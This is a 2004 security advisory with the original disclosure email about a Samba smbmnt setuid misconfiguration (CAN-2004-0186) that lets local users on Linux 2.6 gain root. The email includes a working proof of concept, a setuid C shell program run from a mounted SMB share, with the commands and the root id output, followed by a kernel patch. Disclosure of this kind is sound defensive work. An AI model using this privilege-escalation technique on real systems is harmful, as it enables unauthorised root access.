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Samba 'smbmnt' Permissions May Let Local Users Gain Root Privileges
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SecurityTracker Alert ID: 1009000 |
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SecurityTracker URL: http://securitytracker.com/id/1009000
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CVE Reference:
CAN-2004-0186
(Links to External Site)
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Updated: Mar 4 2004
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Original Entry Date: Feb 10 2004
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Impact:
Execution of arbitrary code via local system, Root access via local system
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Exploit Included: Yes
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Version(s): 3.x
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Description:
A configuration vulnerability was reported in the Samba smbmnt binary. A local user can gain root privileges on the target system.
It is reported that /usr/bin/smbmnt is configured with set user id (setuid) 'root' user permissions on some Linux distributions, including Debian and Mandrake. A local user with access to a remote Samba server can mount the remote Samba server on the target machine using smbmnt. Then, the local user can execute a setuid (or set group id [setgid]) binary located on the remote Samba server to gain root privileges on the target system.
Martin Fiala is credited with discovering this flaw.
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Impact:
A local user can gain root privileges on the target system [depending on whether 'smbmnt' is configured with setuid/setgid privileges or not].
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.samba.org/ (Links to External Site)
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Cause:
Access control error, Configuration error
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Underlying OS:
Linux (Any)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Mon, 9 Feb 2004 22:23:03 +0100
Subject: Samba 3.x + kernel 2.6.x local root vulnerability
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
"share" - smb server
"slovakia" - smb client
misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian
misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^
Confirmed to be default on Debian and Mandrake.
share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#
share:/etc/samba/smb.conf
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a
misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#
Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.
Quick patch for 2.6.3-rc1 kernel by Urban Widmark:
diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c
- --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c Mon Feb 9 19:08:39 2004
+++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c Mon Feb 9 21:43:08 2004
@@ -546,7 +546,8 @@
#define MAX_FILE_MODE 6
static mode_t file_mode[] = {
- - S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK
+ S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */,
+ S_IFIFO, S_IFSOCK
};
static int smb_filetype_to_mode(u32 filetype)
@@ -567,9 +568,9 @@
if (mode & S_IFLNK)
return UNIX_TYPE_SYMLINK;
if (mode & S_IFCHR)
- - return UNIX_TYPE_CHARDEV;
+ return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ;
if (mode & S_IFBLK)
- - return UNIX_TYPE_BLKDEV;
+ return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ;
if (mode & S_IFIFO)
return UNIX_TYPE_FIFO;
if (mode & S_IFSOCK)
@@ -1834,6 +1835,7 @@
static void
smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr)
{
+ fattr->f_mode &= ~(S_ISGID | S_ISUID);
if (fattr->f_unix)
return;
Bug discovered by Martin Fiala <digri@dik.cvut.cz>
Michal
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
iD8DBQFAJ/o3I4dMYFEaiukRAmL6AJ9oqO77yINR2vI7N4LWGEhIfliaZQCfRyb+
o5iBUpdH5KjNZnQdohDusgk=
=XA7E
-----END PGP SIGNATURE-----
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